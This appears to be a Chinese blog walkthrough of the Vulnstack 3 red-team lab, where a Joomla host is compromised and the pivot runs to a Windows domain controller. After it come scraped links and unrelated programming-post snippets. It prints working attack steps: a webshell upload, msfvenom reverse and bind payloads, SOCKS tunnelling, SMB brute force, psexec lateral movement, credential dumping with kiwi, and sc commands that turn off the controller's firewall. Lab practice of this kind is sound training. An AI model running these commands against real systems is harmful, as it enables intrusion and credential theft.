Vulnstack内网靶场3 (qiyuanxuetang.net)

环境配置

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。

挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。

除重新获取ip,不建议进行任何虚拟机操作。

添加一个网络,配置如下,该网络为内部网络

目标:域控中存在一份重要文件。

本次环境为黑盒测试,不提供虚拟机账号密码。

kali 攻击机ip 192.168.1.64

外网主机信息收集 

nmap -sV -A -O 192.168.1.110

22、80、3306,先看看80端口

wappalyzer插件看到CMS是Joomla,之前我接触过这个CMS,直接利用joomscan开扫

joomscan -u 192.168.1.110

版本号3.9.12,搜了一下这个版本的漏洞,暂时只看到了XSS, 后台登陆界面,还有一个看样子像是信息泄露

打开信息泄露的界面,这里泄露出了mysqli的账号密码

testuser:cvcvgjASD!@

getwebshell

登陆mysql

mysql -h 192.168.1.110 -u testuser -p

joomla数据库

注意到一些叫user的表

最终在user表中找到了账号密码,但是密码是加密的

试了一下john,也扫不出来

无奈之下查了一下,发现原来官方有自带忘记密码后如何登陆后台的解决方法如何恢复或重置管理员密码? - Joomla! Documentation

INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

上面的例子更改密码为“secret”

进入到刚刚扫到的后台界面,登陆 

进入后台之后 接下来的操作就是编辑界面写入后门,然后getshell

之前我在DC3靶机上做过joomla的渗透很快找到了后台编辑页面

创建了一个php文件,写入木马(注意php文件的路径为http://192.168.1.110/templates/beez3/shell.php)

我首先试了一下用msf的木马,但是发现不能连接,然后我再试了一下weevely的木马才能连接的上

weevely generate test test.php   //生成木马,连接密码为test
weevely http://192.168.1.110/templates/beez3/shell.php test \\连接木马文件

有点好奇为什么msf不能连接,因为我之前的靶机试过是可以的,网上查了一下,好像是因为设置了disable_functions,被禁用了一些危险的函数

然而虽然weevely连上了,但是很多命令都不能用,所以基本没有用,还得寻找一些绕过disable_functions的方法,查看了一下版本号

找到了一个php脚本可以直接绕过执行系统命令github.com

上传上去

然后发送如下POST请求:

POST: cmd=<command>// <command>为你要执行的系统命令

但是也只是能执行系统命令,后来看到蚁剑有一个插件可以直接绕过disable_function,就去kali装了蚁剑试试看

windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions_Sk1y的博客-CSDN博客

可以看到连接了蚁剑之后也是不能执行系统命令

加载插件后,直接可以执行命令,真强

蚁剑上传一个msf的linux后门,反弹到msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.64 LPORT=4444 -f elf > shell.elf

 msf监听,这里直接获取到了root权限 

但是我用蚁剑查看网络,发现明明是同一个shell,为什么两边的网络配置却不一样

系统也不一样,有点奇怪

查了一下应该是nigx反向代理,将处于内网的Ubuntu(192.168.93.120)代理到了CentOS(192.168.1.110)上。这就解释了为什么我上传后门,却返回了完全不同的shell,这个msf返回的shell才是真正对外的主机

  

内网渗透

前面获取了内网的网段192.168.93.0/24  

接下来添加路由将msf带进内网

通过background回到msf,使用route增加对应路由,4是sessions值

route add 192.168.93.0 255.255.255.0 4

查看是否设置成功

这样msf就能扫描到内网的主机了

或者使用ew代理和proxychains4将整个kali带入内网

首先将EW上传

在攻击机运行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口  

然后在web主机运行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口

运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务

接下来使用proxychains添加代理(KALI中自带)

输入打开proxychains进行编辑

vi /etc/proxychains4.conf

首先将dynamic_chain前面的注释符#删除

然后在底部改成内容 socks5 127.0.0.1 1080

保存并退出,现在kali可以访问内网了

setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网

使用msf扫描内网主机和端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.0/24
set threads 100
run

还扫到了三个主机分别为10、20、30

或者可以使用smb扫描

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1/24
run

 这种方式可以直接获取主机名和域名 

既然开放了445端口,尝试一下永恒之蓝攻击,但是都失败了

那我能想到的只剩下最后一种方法,爆破密码了

使用 use auxiliary/scanner/smb/smb_login

但是基本上能用的字典都用了,没有跑出来

到了这里我已经没有头绪了,查看wp发现居然是要用之前的mysql的密码来远程登陆192.168.93.20:1433 mssql的数据库,实在没想到。。并且后面根据mssql低权限获取ntlmv2 hash的操作目前我也不了解,解法还有很多

Vlunstack ATT&CK实战系列——红队实战(三)Writeup - 先知社区 (aliyun.com)

ATT&CK实战系列-红队评估 (三)Vulnstack靶场内网域渗透 (qq.com)

还是用别人的字典跑出来了administrator的密码是123qwe!ASD

impacket工具包

获得了密码,使用psexec从linux向windows进行横向移动

proxychains psexec.py 'administrator:123qwe!ASD@192.168.93.30'

获取到了win2008和win7的权限,域控的权限暂时没有获取到,但是这个shell很快就会没

使用wmiexec的shell比较稳定Psexec和wmiexec的原理和区别 - 我要变超人 - 博客园 (cnblogs.com)

proxychains wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

使用smbclient通过代理连接windows server 2008 上传一个正向后门

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o shell.exe
proxychains smbclient //192.168.93.20/C$ -U administrator

接着在刚刚获取的权限上运行后门

msf监听获取shell

getsystem
load kiwi
creds_all

抓取到了域管理员的密码,接下来就可以进行ipc连接攻击域控了

获取域控

输入shell进入终端,连接域控上传木马创建定时任务

net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:administrator
copy c:\shell.exe \\192.168.93.10\c$
schtasks /create /s 192.168.93.10 /tn test /sc once /st 10:05 /tr C:\shell.exe /ru system /f

创建失败,访问被拒

使用psexec模块也不行

use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
set payload windows/meterpreter/bind_tcp
run

 

但是使用impacket工具包中的psexec可以

还看到一种方法,ipc连接后远程关闭域控的防火墙,然后在使用msf的psexec模块即可

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

 机密文件

Vulnstack内网靶场3的更多相关文章

  1. Vulnstack内网靶场1

    最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...

  2. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  3. Vulnstack内网靶场5

    实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...

  4. Vulnstack内网靶场4

    环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器 攻击机kali ...

  5. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  6. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  7. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  8. 利用Metasploit 打入ThinkPHP内网...

    出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图   Metasploi ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. go 1.14上怎么下载第三方包

    终端 go env -w GO111MODULE=on GOPATH-->src/pkg/bin in src源码包中 某个包中 go mod init   XXX(表示当前报的第三方依赖) 然 ...

  2. Java中HashCode()和equals()的作用

    引言 我们知道Java中的集合(Collection)大致可以分为两类,一类是List,再有一类是Set. 前者集合内的元素是有序的,元素可以重复:后者元素无序,但元素不可重复. 这里就引出一个问题: ...

  3. "指针"和"引用"大对比

    相同点: 都能够直接引用对象,并对对象进行操作. 不同点: 指针 引用 指针类型的变量能够保存一个对象的地址 引用是一个对象的别名 可以为空nil,可以不初始化 不可以为空nil,必须初始化 当设计一 ...

  4. 【简单数据结构】链表--洛谷P1160

    题目描述 一个学校里老师要将班上NN个同学排成一列,同学被编号为1\sim N1∼N,他采取如下的方法: 先将11号同学安排进队列,这时队列中只有他一个人: 2-N2−N号同学依次入列,编号为i的同学 ...

  5. 【死磕NIO】— 阻塞、非阻塞、同步、异步,傻傻分不清楚

    万事从最基本的开始. 要想完全掌握 NIO,并不是掌握上面文章([死磕NIO]- NIO基础详解)中的三大组件就可以了,我们还需要掌握一些基本概念,如什么是 IO,5 种IO模型的区别,什么是阻塞&a ...

  6. linux停止nginx服务 未成功

    在上线新功能的时候,需要将服务器停掉,防止在更新过程中有用户进行操作额外的数据. 1:查看nginx主进程: ps -ef | grep nginx 这里root 后面的数字表示:主进程号nginx后 ...

  7. python BeautifulSoup html解析

    * BeautifulSoup 的.find(), .findAll() 函数原型 findAll(tag, attributes, recursive, text, limit, keywords) ...

  8. 我是小白,做PPT像流水账,怎么做一份重点突出的PPT?

    1.PPT的封面不要只写标题,还要在显眼的位置写上你的核心观点.比如,你之前做的PPT封面标题是<A产品市场前景分析>,现在不妨加上一个副标题<红海市场中需要找到更多本产品卖点> ...

  9. flask_sqlalchemy 查询结果转dict 终极解决方案

    之前为了学习Python,试着拿Flask作框架搞小网站,感觉还不错,基本就抛弃了PHP.前段时间做了一个微信小程序,想着yii框架拿来写几十个小接口是不是浪费了,就继续用flask写api了,哪想到 ...

  10. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...